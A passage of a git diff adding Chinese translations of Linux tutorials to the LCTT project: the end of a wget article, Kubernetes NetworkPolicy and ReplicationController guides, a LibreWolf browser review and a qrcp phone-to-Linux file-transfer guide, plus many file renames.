时的印刷媒体print media,或是具有字数限制的社交网络(在类似 [Mastondon][2] 这种现代开源的社交网络上这并不是一个问题)。这种缩写具有一定的风险,因为本质上这些目的地是隐藏的。组合使用 `--head` 选项和 `--location` 选项来来查看 HTTP 头部并解开最终的目的地,你可以在不加载整个资源的情况下查看到缩写 URL 的完整内容: + +``` +$ wget --max-redirect 0 "https://bit.ly/2yDyS4T" +--2021-09-21 11:32:04-- https://bit.ly/2yDyS4T +Resolving bit.ly... 67.199.248.10, 67.199.248.11 +Connecting to bit.ly|67.199.248.10|:443... connected. +HTTP request sent, awaiting response... 301 Moved Permanently +Location: http://example.com/ [following] +0 redirections exceeded. +``` + +从 `Location` 开始的倒数第二行输出,展示了实际的目的地。 + +### 使用 wget + +若你开始考虑使用单个命令来实现整个网站访问的过程,`wget` 可以快速高效的帮你获取互联网上的信息,而不用在图形界面上耗费精力。为了帮你将它构造在你平常的工作流中,我们创建了一个 `wget` 常用使用方式和语法清单,包括使用它来查询 API 的概述。[在这里下载 Linux wget 速查表][3]。 + +-------------------------------------------------------------------------------- + +来源: https://opensource.com/article/21/10/linux-wget-command + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[zengyi1001](https://github.com/zengyi1001) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_screen_windows_files.png?itok=kLTeQUbY (Computer screen with files or windows open) +[2]: https://opensource.com/article/17/4/guide-to-mastodon +[3]: https://opensource.com/downloads/linux-wget-cheat-sheet diff --git a/published/202111/20211021 What you need to know about Kubernetes NetworkPolicy.md b/published/202111/20211021 What you need to know about Kubernetes NetworkPolicy.md new file mode 100644 index 0000000000..1020776d3b --- /dev/null +++ b/published/202111/20211021 What you need to know about Kubernetes NetworkPolicy.md @@ -0,0 +1,206 @@ +[#]: subject: "What you need to know about Kubernetes NetworkPolicy" +[#]: via: "https://opensource.com/article/21/10/kubernetes-networkpolicy" +[#]: author: "Mike Calizo https://opensource.com/users/mcalizo" +[#]: collector: "lujun9972" +[#]: translator: "perfiffer" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14005-1.html" + +Kubernetes 网络策略基础 +====== + +> 在你通过 Kubernetes 部署一个应用之前,了解 Kubernetes 的网络策略是一个基本的要求。 + +![](https://img.linux.net.cn/data/attachment/album/202111/21/130217ocykri3zbv37i6ou.jpg) + +随着越来越多的云原生应用程序通过 Kubernetes 部署到生产环境,安全性是你必须在早期就需要考虑的一个重要检查项。在设计云原生应用程序时,预先嵌入安全策略非常重要。不这样做会导致后续的安全问题,从而导致项目延迟,并最终给你带来不必要的压力和金钱投入。 + +这么多年来,人们总是把安全留到最后,直到他们的部署即将发布到生产环境时才考虑安全。这种做法会导致项目交付的延迟,因为每个组织都有要遵守的安全标准,这些规定被绕过或不遵守,并承受大量的风险才得以实现可交付成果。 + +对于刚开始学习 Kubernetes 实施的人来说,理解 Kubernetes 网络策略NetworkPolicy 可能会令人生畏。但这是在将应用程序部署到 Kubernetes 集群之前必须了解的基本要求之一。在学习 Kubernetes 和云原生应用程序时,请把“不要把安全抛在脑后!”定为你的口号。 + +### 网络策略概念 + +[网络策略][2]NetworkPolicy 取代了你所知道的数据中心环境中的防火墙设备 —— 如吊舱Pod之于计算实例、网络插件之于路由器和交换机,以及卷之于存储区域网络(SAN)。 + +默认情况下,Kubernetes 网络策略允许 [吊舱][3]Pod 从任何地方接收流量。如果你不担心吊舱的安全性,那么这可能没问题。但是,如果你正在运行关键工作负载,则需要保护吊舱。控制集群内的流量(包括入口和出口流量),可以通过网络策略来实现。 + +要启用网络策略,你需要一个支持网络策略的网络插件。否则,你应用的任何规则都将变得毫无用处。 + +[Kubernetes.io][4] 上列出了不同的网络插件: + + * CNI 插件:遵循 [容器网络接口][5]Container Network Interface(CNI)规范,旨在实现互操作性。 + * Kubernetes 遵循 CNI 规范的 [v0.4.0][6] 版本。 + * Kubernetes 插件:使用桥接器和主机本地 CNI 插件实现基本的 `cbr0`。 + +### 应用网络策略 + +要应用网络策略,你需要一个工作中的 Kubernetes 集群,并有支持网络策略的网络插件。 + +但首先,你需要了解如何在 Kubernetes 的环境使用网络策略。Kubernetes 网络策略允许 [吊舱][3] 从任何地方接收流量。这并不是理想情况。为了吊舱安全,你必须了解吊舱是可以在 Kubernetes 架构内进行通信的端点。 + +1、使用 `podSelector` 进行吊舱间的通信: + +``` + - namespaceSelector: +    matchLabels: +      project: myproject +``` + +2、使用 `namespaceSelector` 和/或 `podSelector` 和 `namespaceSelector` 的组合进行命名空间之间的通信和命名空间到吊舱的通信。: + +``` + - namespaceSelector: +    matchLabels: +      project: myproject + - podSelector: +    matchLabels: +      role: frontend +``` + +3、对于吊舱的 IP 块通信,使用 `ipBlock` 定义哪些 IP CIDR 块决定源和目的。 + +``` + - ipBlock: +        cidr: 172.17.0.0/16 +        except: +        - 172.17.1.0/24 +``` + +注意吊舱、命名空间和基于 IP 的策略之间的区别。对于基于吊舱和命名空间的网络策略,使用选择器来控制流量,而对基于 IP 的网络策略,使用 IP 块(CIDR 范围)来定义控制。 + +把它们放在一起,一个网络策略应如下所示: + +``` +apiVersion: networking.k8s.io/v1 +kind: NetworkPolicy +metadata: +  name: test-network-policy +  namespace: default +spec: +  podSelector: +    matchLabels: +      app: backend +  policyTypes: +  - Ingress +  - Egress +  ingress: +  - from: +    - ipBlock: +        cidr: 172.17.0.0/16 +        except: +        - 192.168.1.0/24 +    - namespaceSelector: +        matchLabels: +          project: myproject +    - podSelector: +        matchLabels: +          role: frontend +    ports: +    - protocol: TCP +      port: 6379 +  egress: +  - to: +    - ipBlock: +        cidr: 10.0.0.0/24 +    ports: +    - protocol: TCP +      port: 5978 +``` + +参考上面的网络策略,请注意 `spec` 部分。在此部分下,带有标签 `app=backend` 的 `podSelector` 是我们的网络策略的目标。简而言之,网络策略保护给定命名空间内称为 `backend` 的应用程序。 + +此部分也有 `policyTypes` 定义。此字段指示给定策略是否适用于选定吊舱的入口流量、选定吊舱的出口流量,或两者皆有。 + +``` +spec: +  podSelector: +    matchLabels: +      app: backend +  policyTypes: +  - Ingress +  - Egress +``` + +现在,请看 `Ingress`(入口)和 `Egress`(出口)部分。该定义规定了网络策略的控制。 + +首先,检查 `ingress from` 部分。 + +此实例中,网络策略允许从以下位置进行吊舱连接: + + * `ipBlock` + * 允许 172.17.0.0/16 + * 拒绝 192.168.1.0/24 + * `namespaceSelector` + * `myproject`: 允许来自此命名空间并具有相同标签 project=myproject 的所有吊舱。 + * `podSelector` + * `frontend`: 允许与标签 `role=frontend` 匹配的吊舱。 + +``` +ingress: + - from: +  - ipBlock: +      cidr: 172.17.0.0/16 +      except: +      - 192.168.1.0/24 +  - namespaceSelector: +      matchLabels: +        project: myproject +  - podSelector: +      matchLabels: +        role: frontend + +``` + +现在,检查 `egress to` 部分。这决定了从吊舱出去的连接: + + * `ipBlock` + * 10.0.0.0/24: 允许连接到此 CIDR + * Ports: 允许使用 TCP 和端口 5978 进行连接 + +``` +egress: + - to: +  - ipBlock: +      cidr: 10.0.0.0/24 +  ports: +  - protocol: TCP +    port: 5978 + +``` + +### 网络策略的限制 + +仅靠网络策略无法完全保护你的 Kubernetes 集群。你可以使用操作系统组件或 7 层网络技术来克服已知限制。你需要记住,网络策略只能解决 IP 地址和端口级别的安全问题 —— 即开放系统互联(OSI)中的第 3 层或第 4 层。 + +为了解决网络策略无法处理的安全要求,你需要使用其它安全解决方案。以下是你需要知道的一些 [用例][7],在这些用例中,网络策略需要其他技术的增强。 + +### 总结 + +了解 Kubernetes 的网络策略很重要,因为它是实现(但不是替代)你通常在数据中心设置中使用的防火墙角色的一种方式,但适用于 Kubernetes。将此视为容器安全的第一层,仅仅依靠网络策略并不是一个完整的安全解决方案。 + +网络策略使用选择器和标签在吊舱和命名空间上实现安全性。此外,网络策略还可以通过 IP 范围实施安全性。 + +充分理解网络策略是在 Kubernetes 环境中安全采用容器化的一项重要技能。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/10/kubernetes-networkpolicy + +作者:[Mike Calizo][a] +选题:[lujun9972][b] +译者:[perfiffer](https://github.com/perfiffer) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/mcalizo +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/containers_modules_networking_hardware_parts.png?itok=rPpVj92- (Parts, modules, containers for software) +[2]: https://kubernetes.io/docs/concepts/services-networking/network-policies/ +[3]: https://kubernetes.io/docs/concepts/workloads/pods/ +[4]: https://kubernetes.io/docs/concepts/extend-kubernetes/compute-storage-net/network-plugins/ +[5]: https://github.com/containernetworking/cni +[6]: https://github.com/containernetworking/cni/blob/spec-v0.4.0/SPEC.md +[7]: https://kubernetes.io/docs/concepts/services-networking/network-policies/#what-you-can-t-do-with-network-policies-at-least-not-yet diff --git a/published/20211027 Ferdi- A Free - Open-Source Alternative to Franz - Rambox.md b/published/202111/20211027 Ferdi- A Free - Open-Source Alternative to Franz - Rambox.md similarity index 100% rename from published/20211027 Ferdi- A Free - Open-Source Alternative to Franz - Rambox.md rename to published/202111/20211027 Ferdi- A Free - Open-Source Alternative to Franz - Rambox.md diff --git a/published/20211029 A simple CSS trick for dark mode.md b/published/202111/20211029 A simple CSS trick for dark mode.md similarity index 100% rename from published/20211029 A simple CSS trick for dark mode.md rename to published/202111/20211029 A simple CSS trick for dark mode.md diff --git a/published/20211029 Only 4 MB- How to Fix USB ‘Destroyed- by Etcher and Rufus After Creating Live Linux USB.md b/published/202111/20211029 Only 4 MB- How to Fix USB ‘Destroyed- by Etcher and Rufus After Creating Live Linux USB.md similarity index 100% rename from published/20211029 Only 4 MB- How to Fix USB ‘Destroyed- by Etcher and Rufus After Creating Live Linux USB.md rename to published/202111/20211029 Only 4 MB- How to Fix USB ‘Destroyed- by Etcher and Rufus After Creating Live Linux USB.md diff --git a/published/20211031 How to kill a zombie process on Linux.md b/published/202111/20211031 How to kill a zombie process on Linux.md similarity index 100% rename from published/20211031 How to kill a zombie process on Linux.md rename to published/202111/20211031 How to kill a zombie process on Linux.md diff --git a/published/20211101 How I dynamically generate Jekyll config files.md b/published/202111/20211101 How I dynamically generate Jekyll config files.md similarity index 100% rename from published/20211101 How I dynamically generate Jekyll config files.md rename to published/202111/20211101 How I dynamically generate Jekyll config files.md diff --git a/published/20211101 Use the Linux cowsay command for a colorful holiday greeting.md b/published/202111/20211101 Use the Linux cowsay command for a colorful holiday greeting.md similarity index 100% rename from published/20211101 Use the Linux cowsay command for a colorful holiday greeting.md rename to published/202111/20211101 Use the Linux cowsay command for a colorful holiday greeting.md diff --git a/published/20211102 4 ways to edit photos on the Linux command line.md b/published/202111/20211102 4 ways to edit photos on the Linux command line.md similarity index 100% rename from published/20211102 4 ways to edit photos on the Linux command line.md rename to published/202111/20211102 4 ways to edit photos on the Linux command line.md diff --git a/published/20211102 Fedora 35 Debuts With GNOME 41 and a New KDE Variant.md b/published/202111/20211102 Fedora 35 Debuts With GNOME 41 and a New KDE Variant.md similarity index 100% rename from published/20211102 Fedora 35 Debuts With GNOME 41 and a New KDE Variant.md rename to published/202111/20211102 Fedora 35 Debuts With GNOME 41 and a New KDE Variant.md diff --git a/published/20211102 Motrix- A Beautiful Cross-Platform Open-Source Download Manager.md b/published/202111/20211102 Motrix- A Beautiful Cross-Platform Open-Source Download Manager.md similarity index 100% rename from published/20211102 Motrix- A Beautiful Cross-Platform Open-Source Download Manager.md rename to published/202111/20211102 Motrix- A Beautiful Cross-Platform Open-Source Download Manager.md diff --git a/published/20211103 4 tips to becoming a technical writer with open source contributions.md b/published/202111/20211103 4 tips to becoming a technical writer with open source contributions.md similarity index 100% rename from published/20211103 4 tips to becoming a technical writer with open source contributions.md rename to published/202111/20211103 4 tips to becoming a technical writer with open source contributions.md diff --git a/published/20211103 Google to Pay up to -50,337 for Exploiting Linux Kernel Bugs.md b/published/202111/20211103 Google to Pay up to -50,337 for Exploiting Linux Kernel Bugs.md similarity index 100% rename from published/20211103 Google to Pay up to -50,337 for Exploiting Linux Kernel Bugs.md rename to published/202111/20211103 Google to Pay up to -50,337 for Exploiting Linux Kernel Bugs.md diff --git a/published/20211103 Turn any website into a Linux desktop app with open source tools.md b/published/202111/20211103 Turn any website into a Linux desktop app with open source tools.md similarity index 100% rename from published/20211103 Turn any website into a Linux desktop app with open source tools.md rename to published/202111/20211103 Turn any website into a Linux desktop app with open source tools.md diff --git a/published/20211104 After Moving From FreeBSD to Void Linux, Project Trident Finally Discontinues.md b/published/202111/20211104 After Moving From FreeBSD to Void Linux, Project Trident Finally Discontinues.md similarity index 100% rename from published/20211104 After Moving From FreeBSD to Void Linux, Project Trident Finally Discontinues.md rename to published/202111/20211104 After Moving From FreeBSD to Void Linux, Project Trident Finally Discontinues.md diff --git a/published/20211104 How to update a Linux symlink.md b/published/202111/20211104 How to update a Linux symlink.md similarity index 100% rename from published/20211104 How to update a Linux symlink.md rename to published/202111/20211104 How to update a Linux symlink.md diff --git a/published/20211107 What is the Release Schedule for Linux Kernel- How Long a Linux Kernel is Supported.md b/published/202111/20211107 What is the Release Schedule for Linux Kernel- How Long a Linux Kernel is Supported.md similarity index 100% rename from published/20211107 What is the Release Schedule for Linux Kernel- How Long a Linux Kernel is Supported.md rename to published/202111/20211107 What is the Release Schedule for Linux Kernel- How Long a Linux Kernel is Supported.md diff --git a/published/20211108 How I build command-line apps in JavaScript.md b/published/202111/20211108 How I build command-line apps in JavaScript.md similarity index 100% rename from published/20211108 How I build command-line apps in JavaScript.md rename to published/202111/20211108 How I build command-line apps in JavaScript.md diff --git a/published/20211108 openSUSE Leap vs Tumbleweed- What-s the Difference.md b/published/202111/20211108 openSUSE Leap vs Tumbleweed- What-s the Difference.md similarity index 100% rename from published/20211108 openSUSE Leap vs Tumbleweed- What-s the Difference.md rename to published/202111/20211108 openSUSE Leap vs Tumbleweed- What-s the Difference.md diff --git a/published/202111/20211109 How the Kubernetes ReplicationController works.md b/published/202111/20211109 How the Kubernetes ReplicationController works.md new file mode 100644 index 0000000000..a46f10777f --- /dev/null +++ b/published/202111/20211109 How the Kubernetes ReplicationController works.md @@ -0,0 +1,130 @@ +[#]: subject: "How the Kubernetes ReplicationController works" +[#]: via: "https://opensource.com/article/21/11/kubernetes-replicationcontroller" +[#]: author: "Mike Calizo https://opensource.com/users/mcalizo" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14018-1.html" + +Kubernetes 复制控制器如何工作 +====== + +> 复制控制器负责管理吊舱的生命周期并确保在任何时候运行着所需的指定数量的吊舱。 + +![](https://img.linux.net.cn/data/attachment/album/202111/25/131052ltjaz53jqkfamthh.jpg) + +你有没有想过,谁负责监督和管理 Kubernetes 集群内运行的“吊舱pod”的确切数量?Kubernetes 可以通过多种方式做到这一点,但一个常见的方法是使用 “复制控制器ReplicationController(RC)”。RC 负责管理吊舱的生命周期,并确保在任何时候运行着所需的指定数量的吊舱。但另一方面,它不负责高级的集群能力,如执行自动扩展、准备度和活跃探测以及其他高级的复制能力。Kubernetes 集群中的其他组件可以更好地执行这些功能。 + +简而言之,RC 的职责有限,通常用于不需要复杂逻辑就能达到某些要求的具体实现(例如,确保所需的吊舱数量总是与指定的数量相符)。如果超过了所需的数量,RC 会删除多余的,并确保即使在节点故障或吊舱终止的情况下,也有相同数量的存在。 + +简单的事情不需要复杂的解决方案,对我来说,这就是 RC 如何被使用的一个完美的比喻。 + +### 如何创建一个 RC + +像大多数 Kubernetes 资源一样,你可以使用 YAML 或 JSON 格式创建一个 RC,然后将其发布到 Kubernetes API 端点。 + +``` +$ kubectl create -f rcexample.yaml + replicationcontroller/rcexample created +``` + +现在,我将深入一下 `rcexample.yaml` 的样子。 + +``` +apiVersion: v1 +kind: ReplicationController → RC 描述符 +metadata: + name: rcexample → 复制控制器名字 +spec: + replicas: 3 → 预期的吊舱数量 + selector: → 这个 RC 的吊舱选择器 + app: nginx + template: → 用于创建新吊舱的模板 + metadata: + labels: + app: nginx + spec: + containers: + - name: nginx + image: nginx +``` + +进一步解释,这个文件在执行时创建了一个名为 `rcexample` 的 RC,确保三个名为 `nginx` 的吊舱实例一直在运行。如果一个或所有的 `app=nginx` 吊舱没有运行,新的吊舱将根据定义的吊舱模板创建。 + +一个 RC 有三个部分: + + * 复制品:`3` + * 吊舱模板:`app=nginx` + * 吊舱选择器:`app=nginx` + +注意,吊舱模板要与吊舱选择器相匹配,以防止 RC 一直创建吊舱。如果你创建的 RC 的吊舱选择器与模板不匹配,Kubernetes API 服务器会给你一个错误。 + +为了验证 RC `rcexample` 是否被创建: + +``` +$ kubectl get po +NAME READY STATUS RESTARTS AGE +rcexample-53thy 0/1 Running 0 10s +rcexample-k0xz6 0/1 Running 0 10s +rcexample-q3vkg 0/1 Running 0 10s +``` + +要删除 RC: + +``` +$ kubectl delete rc rcexample + replicationcontroller "rcexample" deleted +``` + +注意,你可以对 RC 中的服务使用 [滚动更新][2] 策略,逐个替换吊舱。 + +### 其他复制容器的方法 + +在 Kubernetes 部署中,有多种方法可以实现容器的复制。Kubernetes 成为容器平台的主要选择的主要原因之一是复制容器以获得可靠性、负载平衡和扩展的原生能力。 + +我在上面展示了你如何轻松地创建一个 RC,以确保在任何时候都有一定数量的吊舱可用。你可以通过更新副本的数量来手动扩展吊舱。 + +另一种可能的方法是通过使用 “[复制集][3]ReplicaSet(RS)”来达到复制的目的。 + +``` +(kind: ReplicaSet) +``` + +RS 的功能几乎与 RC 相同。主要区别在于,RS 不允许滚动更新策略。 + +另一种实现复制的方法是通过使用 “[部署][4]Deployments”。 + +``` +(kind: Deployment) +``` + +部署是一种更高级的容器复制方法。从功能上讲,部署提供了相同的功能,但在需要时可以推出和回滚变化。这种功能之所以能够实现,是因为部署有 “策略类型StrategyType” 规范来用新的吊舱替换旧的吊舱。你可以定义两种类型的部署策略:“重新创建Recreate” 和 “滚动更新RollingUpdate”。你可以如下指定部署策略: + +``` +StrategyType: RollingUpdate +``` + +### 总结 + +容器的复制功能是大多数企业考虑采用 Kubernetes 的主要原因之一。复制可以让你达到大多数关键应用程序需要的可靠性和可扩展性,作为生产的最低要求。 + +了解在 Kubernetes 集群中使用哪些方法来实现复制,对于决定哪种方法最适合你的应用架构考虑非常重要。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/11/kubernetes-replicationcontroller + +作者:[Mike Calizo][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/mcalizo +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/kubernetes_containers_ship_lead.png?itok=9EUnSwci (Ships at sea on the web) +[2]: https://kubernetes.io/docs/tutorials/kubernetes-basics/update/update-intro/ +[3]: https://kubernetes.io/docs/concepts/workloads/controllers/replicaset/ +[4]: https://kubernetes.io/docs/concepts/workloads/controllers/deployment/ diff --git a/published/20211109 How to package your Python code.md b/published/202111/20211109 How to package your Python code.md similarity index 100% rename from published/20211109 How to package your Python code.md rename to published/202111/20211109 How to package your Python code.md diff --git a/published/202111/20211109 LibreWolf- An Open-Source Firefox Fork Without the Telemetry.md b/published/202111/20211109 LibreWolf- An Open-Source Firefox Fork Without the Telemetry.md new file mode 100644 index 0000000000..ad2e926752 --- /dev/null +++ b/published/202111/20211109 LibreWolf- An Open-Source Firefox Fork Without the Telemetry.md @@ -0,0 +1,94 @@ +[#]: subject: "LibreWolf: An Open-Source Firefox Fork Without the Telemetry" +[#]: via: "https://itsfoss.com/librewolf/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14004-1.html" + +自由之狼:一个没有遥测的开源火狐复刻 +====== + +> LibreWolf 是一个火狐浏览器的复刻,它关注于隐私和安全,消除了遥测并增加了其他好处。让我们来了解一下它。 + +![](https://img.linux.net.cn/data/attachment/album/202111/21/121135e2mmb6ym53hxzlmj.jpg) + +火狐Firefox 是 Linux 上最好的网页浏览器之一。然而,一些用户并不喜欢其中的遥测机制。 + +除此之外,有些人更喜欢一个开箱即用的、为最佳隐私和安全而调整过的浏览器,即使火狐浏览器是提供了最好的定制功能的浏览器之一。 + +如果你不想要火狐浏览器的干扰功能,想要一个无需你亲自调整的私密网络体验,LibreWolf(自由之狼)或许就是答案。 + +### LibreWolf:更好的火狐? + +![][1] + +假设你想使用火狐,而不使用火狐的帐户同步的能力和其他一些火狐特有的功能,如 “添加到 Pocket” 按钮。在这种情况下,LibreWolf 可以是一个不错的选择。 + +不同于其他火狐浏览器的复刻(例如,[Basilisk 浏览器][2]),它是定期更新的。而且,它只专注于提供私密的网页浏览体验,而不影响你在火狐中所希望得到的用户体验。 + +![][3] + +### LibreWolf 的特点 + +LibreWolf 为安全的网页浏览体验提供了一套相当有用的开箱即用的功能。让我强调其中的一些特点: + + * 移除遥测功能 + * 不使用火狐账户进行云同步 + * 私密搜索供应商,如 Searx、Qwant(DuckDuckGo 被设置为默认) + * 包含 uBlock Origin 以阻止脚本/广告 + * 没有 “添加到 Pocket” 按钮 + * 主页上默认没有赞助/推荐的内容 + * 从设置中删除火狐状态条snippets,它用于在新标签中添加新闻/提示 + * 没有赞助的快捷提示 + * 追踪保护默认设置为“严格”模式 + * Cookies 和历史记录设置为关闭浏览器时删除 + * 默认启用 HTTPS-only 模式 + +正如你所注意到的,LibreWolf 的目标是提供一个更清洁和有利于隐私的体验,而不需要调整任何东西。 + +![][4] + +如果你不想反复登录网络服务和浏览历史记录来回忆你的浏览活动,一些选项如退出时清除 cookies/历史记录可能会很不方便。 + +所以,如果你想从火狐切换到 LibreWolf,你可能想在决定之前测试一下网页浏览体验。 + +![][5] + +### 在 Linux 中安装 LibreWolf + +对于任何 Linux 发行版,你可以使用 AppImage 文件或 Flathub 的 Flatpak 包。 + +如果你不知道,你可以参考我们关于 [使用 AppImage][6] 的指南和 [Flatpak 的资源][7] 。 + +对于 Arch Linux 用户,它也可以在 [Arch 用户仓库(AUR)][8] 中找到。 + +也可以在他们的 [官方网站][9] 或 [GitLab 页面][10] 中找到其他安装说明。 + +你试过 LibreWolf 吗?你喜欢用什么作为你的网页浏览器?请在下面的评论中分享你的想法! + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/librewolf/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/librewolf-about.png?resize=800%2C566&ssl=1 +[2]: https://itsfoss.com/basilisk-browser/ +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/librewolf-firefox.png?resize=800%2C572&ssl=1 +[4]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/librewolf-tracking.png?resize=800%2C565&ssl=1 +[5]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/librewolf-addon.png?resize=800%2C340&ssl=1 +[6]: https://itsfoss.com/use-appimage-linux/ +[7]: https://itsfoss.com/flatpak-guide/ +[8]: https://itsfoss.com/aur-arch-linux/ +[9]: https://librewolf-community.gitlab.io/install/ +[10]: https://gitlab.com/librewolf-community +[11]: https://librewolf-community.gitlab.io/ diff --git a/published/20211110 Canonical Makes it Easy to Run a Linux VM on Apple M1.md b/published/202111/20211110 Canonical Makes it Easy to Run a Linux VM on Apple M1.md similarity index 100% rename from published/20211110 Canonical Makes it Easy to Run a Linux VM on Apple M1.md rename to published/202111/20211110 Canonical Makes it Easy to Run a Linux VM on Apple M1.md diff --git a/published/202111/20211110 Transfer files between your phone and Linux with this open source tool.md b/published/202111/20211110 Transfer files between your phone and Linux with this open source tool.md new file mode 100644 index 0000000000..e555d4ce6d --- /dev/null +++ b/published/202111/20211110 Transfer files between your phone and Linux with this open source tool.md @@ -0,0 +1,172 @@ +[#]: subject: "Transfer files between your phone and Linux with this open source tool" +[#]: via: "https://opensource.com/article/21/11/transfer-files-phone-linux" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-13999-1.html" + +使用 qrcp 在你的手机和 Linux 之间传输文件 +====== + +> qrcp 项目提供了一种快速地从你的 iPhone 或 Android 设备中复制文件到你的 Linux 电脑的方法,反之也可。 + +![](https://img.linux.net.cn/data/attachment/album/202111/19/114121wt40ilipix1oo1zh.jpg) + +你是否在寻找一种快速复制文件的方法,从你的 iPhone 或 Android 移动设备到你的 Linux 电脑,或者从你的 Linux 电脑到你的设备?我最近发现了一个开源的应用,它很容易安装,并且传输文件只需一个二维码。 + +`qrcp` 项目提供了一个命令,可以在你的终端生成一个二维码,让你通过网络向你的电脑发送或接收文件。 + +### 在 Linux、Windows 或 Mac 上安装 qrcp + +开发者 Claudio d'Angelis 以 MIT 许可证发布了 `qrcp` 应用。我发现它很容易安装,也很容易使用。它适用于 Linux、Windows 和 macOS,可以作为 RPM、DEB 或 tarball 下载。它为几乎所有的平台做了构建,包括树莓派。 + +如果你想在 Linux 上安装它,下载 RPM 或 DEB,并使用你的包管理器进行本地安装。例如,在 Fedora、CentOS 或 Mageia,或类似的平台上: + +``` +$ sudo dnf install ./qrcp*rpm +``` + +如果你只是想试试,你可以下载 tar.gz 压缩包并在本地运行它: + +``` +$ tar --extract --file qrcp*tar.gz +$ ./qrcp version +qrcp 0.x.y +``` + +### 设置 qrcp + +你可以通过使用 `--help` 选项查看所有可用的 `qrcp` 选项: + +``` +$ qrcp --help +$ ./qrcp --help +Usage: + qrcp [flags] + qrcp [command] + +Available Commands: + completion Generate completion script + config Configure qrcp + help Help about any command + receive Receive one or more files + send Send a file(s) or directories from this host + version Print version number and build information. +[...] +``` + +默认配置文件位于 `~/.config/qrcp/config.json` ,你可以使用你喜欢的编辑器编辑,或从命令行调用配置向导来配置应用。 + +``` +$ qrcp config +``` + +第一步是创建一个配置文件。`qrcp config` 命令将带你完成这个过程,但会问你几个问题。 + +第一个问题是要求你提供一个“完全限定域名”。如果你在一个不使用完全限定域名的本地网络上使用 `qrcp`(或者你不知道哪种方式),那么就把这个留空。`qrcp` 命令将使用你的本地 IP 地址代替。 + +下一个问题是提示你选择端口。大多数防火墙会阻止非标准的端口,但会将 8080 端口作为互联网流量的情况并不少见。如果你的防火墙屏蔽了 8080 端口,那么你还是要添加一个例外。假设你的系统使用 `firewalld`,你可以用这个命令允许 8080 端口的流量: + +``` +$ sudo firewall-cmd --add-port 8080/tcp --permanent +``` + +拒绝在“传输完成后保持网络连接”的选项,让 `qrcp` 生成一个随机路径。 + +假设你在一个可信的网络上,使用 HTTP(而不是 HTTPS)连接,那么你不必配置 TLS。 + +配置保存在 `~/.config/qrcp/config.json` 中,并且之后可以编辑,所以如果你想改变设置,它很容易更新。 + +更新后的配置看起来像这样: + +``` +{ + "fqdn": "", + "interface": "wlp0s20f3", + "port": 8080, + "keepAlive": false, + "path": "", + "secure": false, + "tls-key": "", + "tls-cert": "", + "output": "/home/don" +} +``` + +### 用 qrcp 传输文件 + +现在你已经准备好从你的 Linux 电脑向你的移动设备发送一个文件。在这个例子中,我使用了我的 iPhone,它完全不支持 Linux,这是臭名昭著的。这个过程在安卓设备上是完全一样的。 + +我是这样做的。首先,我在我的电脑上创建一个示例文件: + +``` +$ echo "Hello world"> ~/example.txt +``` + +接下来,我使用 `send` 子命令将文件从我的 Linux 电脑发送到我的手机: + +``` +Linux~$ qrcp send example.txt +``` + +![example of sending a file][2] + +*使用 `qrcp send example.txt` 发送文件的例子(CC BY-SA 4.0)* + +我打开我的相机应用(在 Android 上,我使用一个保护隐私的专用二维码扫描器),iPhone 扫描二维码并在我的手机上启动 Safari 浏览器。最后,我点击“下载”按钮。 + +![example download][3] + +*下载示例 .txt 文件(CC BY-SA 4.0)* + +### 用 qrcp 接收文件 + +接收文件也一样简单,只是命令略有不同: + +``` +$ qrcp receive +``` + +![example of receiving a file][4] + +*使用 `qrcp receive` 命令接收一个文件(CC BY-SA 4.0)* + +我扫描了二维码,它再次启动了我手机上的 Safari 浏览器,但这次出现了一些不同,因为我正在将文件从我的 iPhone 发送到 Linux 电脑上。 + +![example of selecting a file][5] + +*选择一个要传输的文件(CC BY-SA 4.0)* + +我点击“选择文件”,它让我选择想发送的文件。 + +![file appears in default location][6] + +*文件被下载到默认位置(CC BY-SA 4.0)* + +发送文件后,是在我的配置中指定的默认位置找到了文件。 + +### 尝试 qrcp + +项目文档很简短但已足够,除了最初提出这个想法的 Claudio d'Angelis 之外,它还有开发者社区的支持。社区欢迎你加入他们,该应用将改变你对移动设备之间文件传输的看法。试试吧! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/11/transfer-files-phone-linux + +作者:[Don Watkins][a] 